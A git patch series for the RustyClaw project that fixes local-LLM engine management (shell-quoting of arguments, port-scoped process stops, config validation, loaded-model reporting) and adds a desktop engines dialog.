deserves a real error with a way forward. - if Self::server_process_alive(port).await { - return Ok(format!( - "joshua start command issued; the model may still be loading on {}.", - endpoint - )); + #[cfg(target_os = "linux")] + { + if Self::server_process_alive(port).await { + return Ok(format!( + "joshua start command issued; the model may still be loading on {}.", + endpoint + )); + } + anyhow::bail!( + "joshua serve did not answer on {} and its process exited — the model file may \ + be invalid or joshua failed at load. Run `joshua serve --model '{}'` manually \ + to see the error.", + endpoint, + model_path.display() + ) } - anyhow::bail!( - "joshua serve did not answer on {} and its process exited — the model file may be \ - invalid or joshua failed at load. Run `joshua serve --model '{}'` manually to see \ - the error.", - endpoint, - model_path.display() - ) + // No process inspection on this platform: a slow load must not be + // reported as a failure just because we cannot tell it apart from a + // crashed process. + #[cfg(not(target_os = "linux"))] + return Ok(format!( + "joshua start command issued; the model may still be loading on {}.", + endpoint + )); } /// Whether a `joshua serve` process for the given port is still running @@ -565,18 +576,11 @@ impl LocalEngine for JoshuaEngine { let path = find_model_file(&dir, model) .ok_or_else(|| anyhow::anyhow!("Model '{}' not found in {}", model, dir.display()))?; - // If a running server (managed or detected) already serves this - // model, there is nothing to do — say so instead of respawning. - let running = Self::running_servers().await; - if let Some((name, port)) = running.iter().find(|(n, _)| n == model) { - return Ok(format!( - "Model '{}' is already loaded (running on port {})", - name, - port.unwrap_or(8080) - )); - } - - let endpoint = Self::effective_endpoint(cfg).await; + // "Already loaded" means the server the engine actually talks to + // (the configured endpoint) serves this model — a joshua started + // outside RustyClaw on another port must not make Load claim + // success while the configured server has nothing loaded. + let endpoint = Self::endpoint(cfg); if Self::is_running(&endpoint).await { let already = Self::loaded_model_ids(&endpoint).await; if already.iter().any(|id| id == model) { diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index d038bd3d..fb7bcc9f 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -209,7 +209,7 @@ impl LocalEngine for LlamaCppEngine { let port = cfg.port.unwrap_or(8080); let mut cmd = format!("nohup llama-server --port {}", port); if let Some(ref dir) = cfg.models_dir { - cmd.push_str(&format!(" --models-dir '{}'", dir)); + cmd.push_str(&format!(" --models-dir {}", sh_quote(dir))); } // The typed context window applies to manual starts too (it already // applies to auto-start via `engine_start_command`). @@ -236,21 +236,28 @@ impl LocalEngine for LlamaCppEngine { // actually happened instead of always claiming success. let port = cfg.port.unwrap_or(8080); let pattern = format!("llama-server .*--port {}", port); - let running = crate::engines::running_server_cmdlines(&pattern) - .await - .iter() - .any(|line| line.contains("llama-server")); - if !running { - return Ok(format!( - "no llama-server is running on port {} (nothing to stop)", - port - )); + #[cfg(target_os = "linux")] + { + let running = crate::engines::running_server_cmdlines(&pattern) + .await + .iter() + .any(|line| line.contains("llama-server")); + if !running { + return Ok(format!( + "no llama-server is running on port {} (nothing to stop)", + port + )); + } + return Self::sh(&format!( + "pkill -f '{}' 2>/dev/null; echo 'stopped'", + pattern + )) + .await; } - Self::sh(&format!( - "pkill -f '{}' 2>/dev/null; echo 'stopped'", - pattern - )) - .await + // No process inspection on this platform: fall back to stopping + // every llama-server rather than claiming success while one runs. + #[cfg(not(target_os = "linux"))] + Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await } async fn list_models(&self, cfg: &EngineConfig) -> Result> { diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index 1238185f..51a31426 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -586,6 +586,7 @@ pub fn scan_gguf_models(dir: &Path) -> Vec { /// already running on the host — including ones started manually outside /// RustyClaw — so the UI can say *which models are running* rather than only /// what the configured endpoint answers. +#[cfg_attr(not(target_os = "linux"), allow(unused_variables))] pub async fn running_server_cmdlines(pattern: &str) -> Vec { #[cfg(target_os = "linux")] { @@ -952,9 +953,10 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { } "llamacpp" => { let cmd = "llama-server".to_string(); - if let Some(port) = cfg.port { - args.extend(["--port".to_string(), port.to_string()]); - } + // Always pass the resolved port (not only when configured), so + // the port-scoped stop can identify auto-started servers. + let port = cfg.port.unwrap_or(8080); + args.extend(["--port".to_string(), port.to_string()]); if let Some(ref models_dir) = cfg.models_dir { args.extend(["--model-store".to_string(), models_dir.clone()]); } From 3cf1352c670d6ac508f91f83c36998c78f6fbc55 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Tue, 18 Aug 2026 00:04:28 -0700 Subject: [PATCH 05/10] fix(engines): address third-round Devin review findings - Bump WIRE_PROTOCOL_VERSION to 4: EngineConfig gained its typed parameter fields (the shipped EngineConfigSet payload widened positionally) and the EngineConfigList / ProviderModelLoadedList frames are new, so a mismatched peer must fail at the first affected frame instead of mis-parsing. - Joshua: sh_quote the model path and every extra_arg interpolated into the serve command line; server_process_alive is Linux-only (dead code and an unused parameter on other platforms). - llama.cpp: stop() keeps its port/pattern bindings inside the Linux block (no unused-variable warnings on macOS/non-Linux); start() sh_quotes extra_args; load() falls back to the typed context_length. - engine_start_command: llama.cpp built-in flags now come first so a hand-written --port/--ctx-size in extra_args overrides them (auto-start). - Ollama: load() applies the typed context_length (--num-ctx) when no per-load override is given; list_models marks models resident per /api/ps instead of never marking anything loaded. - LM Studio: list_models no longer claims every listed model is running. --- crates/rustyclaw-core/src/engines/joshua.rs | 11 ++-- crates/rustyclaw-core/src/engines/llamacpp.rs | 19 ++++-- crates/rustyclaw-core/src/engines/lmstudio.rs | 5 +- crates/rustyclaw-core/src/engines/mod.rs | 58 ++++++++++++++++--- crates/rustyclaw-core/src/engines/ollama.rs | 28 ++++++++- .../src/gateway/protocol/frames.rs | 7 ++- 6 files changed, 108 insertions(+), 20 deletions(-) diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index a7c3d185..3bc78ca3 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -143,20 +143,22 @@ impl JoshuaEngine { } let port = cfg.port.unwrap_or(DEFAULT_PORT); let mut cmd = format!( - "nohup joshua serve --model '{}' --addr 127.0.0.1:{}", - model_path.display(), + "nohup joshua serve --model {} --addr 127.0.0.1:{}", + sh_quote(&model_path.display().to_string()), port ); // Typed parameters (context window, device, huge pages, …) become // flags first; raw extra_args come after so an explicit flag in - // extra_args still wins (clap takes the last occurrence). + // extra_args still wins (clap takes the last occurrence). Every + // extra_arg is sh_quoted: they are client-supplied strings that + // reach a `sh -c` command line, so metacharacters must stay inert. for arg in joshua_serve_flags(cfg) { cmd.push(' '); cmd.push_str(&arg); } for arg in &cfg.extra_args { cmd.push(' '); - cmd.push_str(arg); + cmd.push_str(&sh_quote(arg)); } cmd.push_str(" > /dev/null 2>&1 &"); Self::sh(&cmd).await.ignore(); @@ -210,6 +212,7 @@ impl JoshuaEngine { /// Whether a `joshua serve` process for the given port is still running /// (best-effort; Linux only). Used to tell "still loading" apart from /// "crashed" when the health probe has not answered yet. + #[cfg(target_os = "linux")] async fn server_process_alive(port: u16) -> bool { crate::engines::running_server_cmdlines("joshua serve") .await diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index fb7bcc9f..06b24ebe 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -218,7 +218,9 @@ impl LocalEngine for LlamaCppEngine { } for arg in &cfg.extra_args { cmd.push(' '); - cmd.push_str(arg); + // extra_args are client-supplied strings reaching a `sh -c` + // command line — quote them so metacharacters stay inert. + cmd.push_str(&crate::engines::sh_quote(arg)); } cmd.push_str(" > /dev/null 2>&1 &"); Self::sh(&cmd).await.ignore(); @@ -234,10 +236,10 @@ impl LocalEngine for LlamaCppEngine { // Scoped to the configured port: `pkill -f 'llama-server'` would // also kill servers started manually on other ports. Report what // actually happened instead of always claiming success. - let port = cfg.port.unwrap_or(8080); - let pattern = format!("llama-server .*--port {}", port); #[cfg(target_os = "linux")] { + let port = cfg.port.unwrap_or(8080); + let pattern = format!("llama-server .*--port {}", port); let running = crate::engines::running_server_cmdlines(&pattern) .await .iter() @@ -257,7 +259,9 @@ impl LocalEngine for LlamaCppEngine { // No process inspection on this platform: fall back to stopping // every llama-server rather than claiming success while one runs. #[cfg(not(target_os = "linux"))] - Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await + { + Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await + } } async fn list_models(&self, cfg: &EngineConfig) -> Result> { @@ -437,7 +441,9 @@ impl LocalEngine for LlamaCppEngine { async fn load(&self, model: &str, cfg: &EngineConfig) -> Result { let endpoint = Self::endpoint(cfg); - // P6: Extract per-model knobs from extra_args. + // Per-model knobs: an explicit `--ctx-size` in extra_args (the + // gateway's per-load override rides here) wins; otherwise the + // persisted typed context window applies. let mut ctx_size: Option = None; let mut i = 0; while i < cfg.extra_args.len() { @@ -450,6 +456,9 @@ impl LocalEngine for LlamaCppEngine { i += 1; } } + if ctx_size.is_none() { + ctx_size = cfg.context_length; + } let mut body = serde_json::json!({ "model": model }); if let Some(n) = ctx_size { diff --git a/crates/rustyclaw-core/src/engines/lmstudio.rs b/crates/rustyclaw-core/src/engines/lmstudio.rs index 33255558..0bdae799 100644 --- a/crates/rustyclaw-core/src/engines/lmstudio.rs +++ b/crates/rustyclaw-core/src/engines/lmstudio.rs @@ -103,6 +103,9 @@ impl LocalEngine for LmStudioEngine { .cloned() .unwrap_or_default(); + // Modern LM Studio's `/v1/models` lists downloaded models, not just + // the one currently resident in memory — there is no way to tell + // what is loaded from the API, so never claim "running". Ok(models .iter() .map(|m| { @@ -116,7 +119,7 @@ impl LocalEngine for LmStudioEngine { size_bytes: 0, quantization: None, context_length: None, - loaded: true, + loaded: false, vram_bytes: None, family: None, format: None, diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index 51a31426..41071fd9 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -938,7 +938,7 @@ pub fn engine_service_defs( /// Determine the command+args to start an engine process. fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { - let mut args: Vec = cfg.extra_args.clone(); + let args: Vec = cfg.extra_args.clone(); match id { "ollama" => { let cmd = "ollama".to_string(); @@ -953,17 +953,22 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { } "llamacpp" => { let cmd = "llama-server".to_string(); - // Always pass the resolved port (not only when configured), so - // the port-scoped stop can identify auto-started servers. + // Built-in flags first, then extra_args last: llama-server takes + // the last occurrence of a repeated flag, so a hand-written + // `--port`/`--ctx-size` in extra_args must override the defaults. + // The resolved port is always emitted so the port-scoped stop can + // identify auto-started servers. + let mut a = Vec::new(); let port = cfg.port.unwrap_or(8080); - args.extend(["--port".to_string(), port.to_string()]); + a.extend(["--port".to_string(), port.to_string()]); if let Some(ref models_dir) = cfg.models_dir { - args.extend(["--model-store".to_string(), models_dir.clone()]); + a.extend(["--model-store".to_string(), models_dir.clone()]); } if let Some(ctx) = cfg.context_length { - args.extend(["--ctx-size".to_string(), ctx.to_string()]); + a.extend(["--ctx-size".to_string(), ctx.to_string()]); } - (cmd, args) + a.extend(args); + (cmd, a) } "joshua" => { let cmd = "joshua".to_string(); @@ -1031,6 +1036,45 @@ mod sh_quote_tests { mod fallback_tests { use super::*; + /// llama.cpp auto-start: built-in flags come first, so a hand-written + /// `--port`/`--ctx-size` in extra_args still wins (llama-server takes + /// the last occurrence of a repeated flag). + #[test] + fn llamacpp_start_command_lets_extra_args_override_builtins() { + let cfg = EngineConfig { + context_length: Some(4096), + extra_args: vec![ + "--port".into(), + "9999".into(), + "--ctx-size".into(), + "8192".into(), + ], + ..Default::default() + }; + let (cmd, args) = engine_start_command("llamacpp", &cfg); + assert_eq!(cmd, "llama-server"); + // Built-ins first … + assert_eq!( + &args[0..4], + &[ + "--port".to_string(), + "8080".to_string(), + "--ctx-size".to_string(), + "4096".to_string() + ] + ); + // … then extra_args last, so they win. + assert_eq!( + &args[4..], + &[ + "--port".to_string(), + "9999".to_string(), + "--ctx-size".to_string(), + "8192".to_string() + ] + ); + } + /// A local engine whose server is not running must still surface its /// on-disk models through the provider-model fallback, with the fetch /// error cleared (that is what lets pickers show local models). diff --git a/crates/rustyclaw-core/src/engines/ollama.rs b/crates/rustyclaw-core/src/engines/ollama.rs index 8bf17f39..9987da68 100644 --- a/crates/rustyclaw-core/src/engines/ollama.rs +++ b/crates/rustyclaw-core/src/engines/ollama.rs @@ -208,6 +208,22 @@ impl LocalEngine for OllamaEngine { .cloned() .unwrap_or_default(); + // What is actually resident in memory: `/api/ps` knows; `/api/tags` + // only lists what is pulled. Mark those names loaded so the UI's + // "running" badge reflects reality. + let mut loaded: Vec = Vec::new(); + if let Ok(ps) = Self::api(&endpoint, "GET", "/api/ps", None).await { + if let Ok(v) = serde_json::from_str::(&ps) { + if let Some(arr) = v.get("models").and_then(|m| m.as_array()) { + for m in arr { + if let Some(name) = m.get("name").and_then(|n| n.as_str()) { + loaded.push(name.to_string()); + } + } + } + } + } + Ok(models .iter() .map(|m| { @@ -231,12 +247,13 @@ impl LocalEngine for OllamaEngine { .get("modified_at") .and_then(|d| d.as_str()) .map(|s| s.to_string()); + let is_loaded = loaded.iter().any(|l| l == &name); LocalModel { name, size_bytes, quantization, context_length: None, - loaded: false, + loaded: is_loaded, vram_bytes: None, family, format: Some("gguf".into()), @@ -312,7 +329,9 @@ impl LocalEngine for OllamaEngine { async fn load(&self, model: &str, cfg: &EngineConfig) -> Result { let endpoint = Self::endpoint(cfg); - // P6: Extract per-model knobs from extra_args. + // Per-model knobs: an explicit `--num-ctx=` in extra_args (the + // gateway's per-load override rides here) wins; otherwise the + // persisted typed context window applies. let mut options = serde_json::Map::new(); for arg in &cfg.extra_args { if let Some(val) = arg.strip_prefix("--num-ctx=") { @@ -321,6 +340,11 @@ impl LocalEngine for OllamaEngine { } } } + if !options.contains_key("num_ctx") { + if let Some(ctx) = cfg.context_length { + options.insert("num_ctx".to_string(), serde_json::Value::Number(ctx.into())); + } + } let mut body = serde_json::json!({ "model": model, diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames.rs b/crates/rustyclaw-core/src/gateway/protocol/frames.rs index 6f053429..b9b3cd8e 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames.rs @@ -452,7 +452,12 @@ pub enum StatusType { /// be misread — so a peer at version 1 cannot decode these. Mismatched peers /// fail at the first affected frame rather than mis-parsing one into another; /// the version is what lets an envelope-carrying transport say so plainly. -pub const WIRE_PROTOCOL_VERSION: u16 = 3; +/// Bumped to 4 when `EngineConfig` gained its typed parameter fields (the +/// already-shipped `EngineConfigSet` payload widened by seven positional +/// fields) and `EngineConfigList` / `ProviderModelLoadedList` were added: an +/// older peer must fail at the first affected frame instead of reading the +/// new fields as wrong values. +pub const WIRE_PROTOCOL_VERSION: u16 = 4; /// Stream ID used for connection-level control frames. pub const CONTROL_STREAM_ID: u64 = 0; From bf526e924a943bb29c51f56b9d628c2a442253b2 Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Tue, 18 Aug 2026 00:49:53 -0700 Subject: [PATCH 06/10] fix(engines): address fourth-round Devin review findings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - llama.cpp list_models: a model served by a running llama-server but living outside the scanned models dir (e.g. started manually with an explicit --model path) was dropped from the list — loaded ids are now surfaced like Joshua's list_models does. - Port-scoped stop/liveness patterns terminate the digit run (joshua pkill '...127.0.0.1:{port}( |$)' and llamacpp '...--port {port}( |$)', and joshua's server_process_alive now requires a non-digit after the port), so a short port (1234/808) can no longer match a server on 12345/8080. - Engine status only reports Running when a detected server sits on the engine's own configured port (or the configured endpoint answers); a foreign server on another port no longer hides the Start button or turns Stop into a no-op that claims success. - validate_engine_config() rejects structurally unusable configs (port 0) before they are persisted or reach the pkill/pgrep patterns; the gateway's EngineConfigSet handler refuses and reports the error instead of relying on the port's u16 type alone. --- crates/rustyclaw-core/src/engines/joshua.rs | 38 ++++++++++---- crates/rustyclaw-core/src/engines/llamacpp.rs | 38 +++++++++++--- crates/rustyclaw-core/src/engines/mod.rs | 34 +++++++++++++ .../rustyclaw-gateway/src/engine_handler.rs | 2 +- crates/rustyclaw-gateway/src/server.rs | 50 +++++++++++++------ 5 files changed, 128 insertions(+), 34 deletions(-) diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index 3bc78ca3..1750cb69 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -211,13 +211,22 @@ impl JoshuaEngine { /// Whether a `joshua serve` process for the given port is still running /// (best-effort; Linux only). Used to tell "still loading" apart from - /// "crashed" when the health probe has not answered yet. + /// "crashed" when the health probe has not answered yet. The port match + /// must terminate the digit run, so 808 does not match a server on 8080. #[cfg(target_os = "linux")] async fn server_process_alive(port: u16) -> bool { + let needle = format!("127.0.0.1:{}", port); crate::engines::running_server_cmdlines("joshua serve") .await .iter() - .any(|line| line.contains(&format!("127.0.0.1:{}", port))) + .any(|line| { + line.match_indices(&needle).any(|(end, _)| { + line[end..] + .chars() + .next() + .is_none_or(|c| !c.is_ascii_digit()) + }) + }) } } @@ -341,6 +350,7 @@ impl LocalEngine for JoshuaEngine { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); let available = scan_gguf_models(&Self::models_dir(cfg)).len() as u32; + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); let detected = Self::running_servers().await; let run_status = if Self::is_running(&endpoint).await { @@ -350,13 +360,14 @@ impl LocalEngine for JoshuaEngine { loaded_models: loaded, available_models: available.max(loaded), } - } else if !detected.is_empty() { - // Joshua servers are running on the host outside the configured - // endpoint (started manually, or another instance). Report them - // so the UI reflects reality instead of "stopped". - let detected_endpoint = detected - .first() - .and_then(|(_, port)| *port) + } else if let Some((_, port)) = detected + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { + // A joshua server on the engine's own configured port is running + // (e.g. started manually outside RustyClaw): report it so the + // UI's lifecycle gating stays tied to this engine's server. + let detected_endpoint = port .map(|port| format!("http://127.0.0.1:{}", port)) .unwrap_or(endpoint); let loaded = detected.len() as u32; @@ -366,6 +377,9 @@ impl LocalEngine for JoshuaEngine { available_models: available.max(loaded), } } else { + // Joshua servers on *other* ports belong to someone else: the + // engine itself is not running, and reporting Running would hide + // the Start button while Stop could not touch that server. EngineRunStatus::Stopped }; @@ -422,10 +436,12 @@ impl LocalEngine for JoshuaEngine { async fn stop(&self, cfg: &EngineConfig) -> Result { // Scoped to the configured port: `pkill -f 'joshua serve'` would - // also kill servers started manually on other ports. + // also kill servers started manually on other ports. The pattern + // terminates the digit run (`( |$)`), so a short port such as 808 + // cannot match a server running on 8080. let port = cfg.port.unwrap_or(DEFAULT_PORT); Self::sh(&format!( - "pkill -f 'joshua serve .*127.0.0.1:{}' 2>/dev/null; echo 'stopped'", + "pkill -f 'joshua serve .*127.0.0.1:{}( |$)' 2>/dev/null; echo 'stopped'", port )) .await diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index 06b24ebe..45ee2ffc 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -124,6 +124,7 @@ impl LocalEngine for LlamaCppEngine { async fn status(&self, cfg: &EngineConfig) -> EngineStatus { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); + let configured_port = cfg.port.unwrap_or(8080); let detected = Self::running_servers().await; let run_status = if !presence.installed { @@ -141,12 +142,14 @@ impl LocalEngine for LlamaCppEngine { loaded_models: available, // llama-server only shows loaded models available_models: available, } - } else if !detected.is_empty() { - // llama-server processes are running outside the configured - // endpoint; report them so the UI reflects reality. - let detected_endpoint = detected - .first() - .and_then(|(_, port)| *port) + } else if let Some((_, port)) = detected + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { + // A llama-server on the engine's own configured port is running + // (e.g. started manually outside RustyClaw): report it so the + // UI's lifecycle gating stays tied to this engine's server. + let detected_endpoint = port .map(|port| format!("http://127.0.0.1:{}", port)) .unwrap_or(endpoint); let loaded = detected.len() as u32; @@ -156,6 +159,9 @@ impl LocalEngine for LlamaCppEngine { available_models: loaded, } } else { + // llama-server processes on *other* ports belong to someone + // else: this engine is not running, and reporting Running would + // hide the Start button while Stop could not touch that server. EngineRunStatus::Stopped }; @@ -232,14 +238,19 @@ impl LocalEngine for LlamaCppEngine { } } + /// `cfg` is only read inside the Linux block (process inspection); the + /// non-Linux fallback ignores it. + #[cfg_attr(not(target_os = "linux"), allow(unused_variables))] async fn stop(&self, cfg: &EngineConfig) -> Result { // Scoped to the configured port: `pkill -f 'llama-server'` would // also kill servers started manually on other ports. Report what - // actually happened instead of always claiming success. + // actually happened instead of always claiming success. The pattern + // terminates the digit run (`( |$)`), so a short port such as 1234 + // cannot match a server running on 12345. #[cfg(target_os = "linux")] { let port = cfg.port.unwrap_or(8080); - let pattern = format!("llama-server .*--port {}", port); + let pattern = format!("llama-server .*--port {}( |$)", port); let running = crate::engines::running_server_cmdlines(&pattern) .await .iter() @@ -311,6 +322,17 @@ impl LocalEngine for LlamaCppEngine { on_disk.push((name, path)); } } + // A model served by a running llama-server may live outside the + // scanned models dir (e.g. started manually with an explicit + // `--model /elsewhere/foo.gguf` while the API is unreachable from + // the configured endpoint). It is loaded, so it must appear in the + // list — like Joshua's list_models, surface any loaded id that the + // scan did not produce. + for name in &loaded { + if !names.iter().any(|n| n == name) { + names.push(name.clone()); + } + } Ok(names .into_iter() diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index 41071fd9..e9709822 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -120,6 +120,21 @@ fn default_true() -> bool { true } +/// Validate a client-supplied [`EngineConfig`] before it is persisted. +/// +/// The typed fields that reach a shell command line are validated here +/// (the same spirit as the `device`/`huge_pages` allow-list in +/// [`joshua_serve_flags`]): the port feeds `pgrep`/`pkill` regex patterns +/// on the stop paths, and rejecting a value that cannot be a real server +/// port keeps that safety structural instead of relying on the field's type +/// alone. Extend this as new shell-reaching fields are added. +pub fn validate_engine_config(cfg: &EngineConfig) -> Result<(), String> { + if cfg.port == Some(0) { + return Err("engine port must be between 1 and 65535".to_string()); + } + Ok(()) +} + impl Default for EngineConfig { fn default() -> Self { Self { @@ -1075,6 +1090,25 @@ mod fallback_tests { ); } + #[test] + fn validate_engine_config_rejects_an_unusable_port() { + // Port 0 would feed the stop-path pkill/pgrep patterns with a value + // that can never be a real server port; it must be rejected before + // the config is persisted. + let bad = EngineConfig { + port: Some(0), + ..Default::default() + }; + assert!(validate_engine_config(&bad).is_err()); + // Unset and ordinary ports pass. + assert!(validate_engine_config(&EngineConfig::default()).is_ok()); + let good = EngineConfig { + port: Some(8331), + ..Default::default() + }; + assert!(validate_engine_config(&good).is_ok()); + } + /// A local engine whose server is not running must still surface its /// on-disk models through the provider-model fallback, with the fetch /// error cleared (that is what lets pickers show local models). diff --git a/crates/rustyclaw-gateway/src/engine_handler.rs b/crates/rustyclaw-gateway/src/engine_handler.rs index 3c9edb6c..3b65e826 100644 --- a/crates/rustyclaw-gateway/src/engine_handler.rs +++ b/crates/rustyclaw-gateway/src/engine_handler.rs @@ -77,7 +77,7 @@ pub async fn handle_engine_request( // ── Helpers ───────────────────────────────────────────────────────────────── /// Build and send an `EngineActionResult` frame. -async fn send_action_result( +pub(crate) async fn send_action_result( writer: &mut dyn TransportWriter, engine: String, model: Option, diff --git a/crates/rustyclaw-gateway/src/server.rs b/crates/rustyclaw-gateway/src/server.rs index f9fa2569..0a418d9d 100644 --- a/crates/rustyclaw-gateway/src/server.rs +++ b/crates/rustyclaw-gateway/src/server.rs @@ -2320,22 +2320,44 @@ pub(crate) async fn handle_connection( ).await?; } ClientPayload::EngineConfigSet { engine, config: new_cfg } => { - // Persist through the shared config — writing - // this connection's snapshot would erase - // settings other connections saved since it - // was taken (messenger accounts included). - config.engines.insert(engine.clone(), new_cfg.clone()); + // Reject structurally invalid configs + // before they reach config.toml or a + // shell command line (the port feeds the + // pkill/pgrep patterns on stop paths). + if let Err(msg) = + rustyclaw_core::engines::validate_engine_config(&new_cfg) { - let mut shared = shared_config.write().await; - shared.engines.insert(engine.clone(), new_cfg.clone()); - crate::helpers::persist_config(&shared); + crate::engine_handler::send_action_result( + &mut *writer, + engine, + None, + false, + msg, + ) + .await?; + } else { + // Persist through the shared config — + // writing this connection's snapshot + // would erase settings other + // connections saved since it was + // taken (messenger accounts included). + config.engines.insert(engine.clone(), new_cfg.clone()); + { + let mut shared = shared_config.write().await; + shared.engines.insert(engine.clone(), new_cfg.clone()); + crate::helpers::persist_config(&shared); + } + crate::engine_handler::handle_engine_request( + &mut *writer, + ClientPayload::EngineConfigSet { + engine, + config: new_cfg, + }, + &engine_registry, + &config.engines, + ) + .await?; } - crate::engine_handler::handle_engine_request( - &mut *writer, - ClientPayload::EngineConfigSet { engine, config: new_cfg }, - &engine_registry, - &config.engines, - ).await?; } ClientPayload::ProviderModelList { provider } => { handle_provider_model_list( From 3a6aa2e8398dace928f4316705be59dab39ce3eb Mon Sep 17 00:00:00 2001 From: Erica Stith Date: Mon, 17 Aug 2026 22:43:34 -0700 Subject: [PATCH 07/10] feat(desktop): local engines dialog, parameters editor, and running-model pickers MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Local Engines & Models dialog becomes a real management surface and the composer picker reflects what is actually available locally: - Each engine tab gains a Parameters editor persisted via EngineConfigSet (context window, device, huge pages, mmap, lazy weights, max output tokens, max concurrency, default model picked from the local model list, auto-start). Applied on the next Start/Load, with a Restart button to apply immediately. - The model table marks loaded models as "running" (from the engine registry's host process detection) alongside on-disk ones, and the composer's model dropdown appends a "● running" marker to models the local engine reports as loaded. - Load/Unload give real feedback: the clicked row's button shows "Loading…" until the gateway answers, and the outcome (success or an honest error) is rendered inline in the dialog, dismissible. - The dialog auto-loads the active engine's model list when it opens, instead of waiting for a tab click. - The engines dialog's EngineModelAction now carries per-model context overrides for Joshua (--n-ctx). --- crates/rustyclaw-desktop/src/app/dialogs.rs | 29 +- crates/rustyclaw-desktop/src/app/mod.rs | 29 ++ crates/rustyclaw-desktop/src/app_support.rs | 24 +- .../rustyclaw-desktop/src/components/chat.rs | 4 + .../src/components/composer_accessory.rs | 15 +- .../src/components/engines.rs | 449 +++++++++++++++++- crates/rustyclaw-desktop/src/state.rs | 18 + crates/rustyclaw-tui/src/gateway_client.rs | 1 + crates/rustyclaw-view/src/engines.rs | 27 +- 9 files changed, 587 insertions(+), 9 deletions(-) diff --git a/crates/rustyclaw-desktop/src/app/dialogs.rs b/crates/rustyclaw-desktop/src/app/dialogs.rs index 4a2cb36c..43d94909 100644 --- a/crates/rustyclaw-desktop/src/app/dialogs.rs +++ b/crates/rustyclaw-desktop/src/app/dialogs.rs @@ -780,7 +780,18 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { EnginesDialog { visible: state.read().show_engines_dialog, data: state.read().engines_data.clone(), - on_close: move |_| state.write().show_engines_dialog = false, + on_close: move |_| { + let mut s = state.write(); + s.show_engines_dialog = false; + // The inline action result belongs to the dialog; don't + // let it linger into the next open. + s.engine_action_result = None; + }, + action_pending: state.read().engine_model_action_pending.clone(), + action_result: state.read().engine_action_result.clone(), + on_clear_action_result: move |_| { + state.write().engine_action_result = None; + }, on_engine_action: move |(engine, action): (String, EngineActionKind)| { let gw = gateway.read().clone(); if let Some(client) = gw { @@ -795,6 +806,9 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { } }, on_model_action: move |(engine, model, action): (String, String, ModelActionKind)| { + state + .write() + .engine_model_action_pending = Some((engine.clone(), model.clone())); let gw = gateway.read().clone(); if let Some(client) = gw { spawn(async move { @@ -869,6 +883,19 @@ pub(super) fn Dialogs(sig: AppSignals) -> Element { format!("Switched to {} / {}", engine, model_for_state), ); }, + on_config_save: move |(engine, config): (String, rustyclaw_core::engines::EngineConfig)| { + let gw = gateway.read().clone(); + if let Some(client) = gw { + spawn(async move { + if let Err(e) = client + .send(GatewayCommand::EngineConfigSet { engine, config }) + .await + { + tracing::error!("Failed to save engine config: {}", e); + } + }); + } + }, on_refresh: move |_| { let gw = gateway.read().clone(); let selected = state diff --git a/crates/rustyclaw-desktop/src/app/mod.rs b/crates/rustyclaw-desktop/src/app/mod.rs index 386cbf9a..db890aef 100644 --- a/crates/rustyclaw-desktop/src/app/mod.rs +++ b/crates/rustyclaw-desktop/src/app/mod.rs @@ -409,6 +409,34 @@ pub fn App() -> Element { } }); + // The engines dialog auto-loads the selected engine's models: whenever + // the dialog is open and the engine list (re)arrived, fetch the models + // for the active tab without requiring a click. + use_effect(move || { + if !state.read().engines_models_pending { + return; + } + state.write().engines_models_pending = false; + if !state.read().show_engines_dialog { + return; + } + let selected = state + .read() + .engines_data + .as_ref() + .and_then(|d| d.selected_engine.clone()); + let gw = gateway.read().clone(); + if let (Some(client), Some(engine)) = (gw, selected) { + spawn_reporting("load engine models", async move { + client + 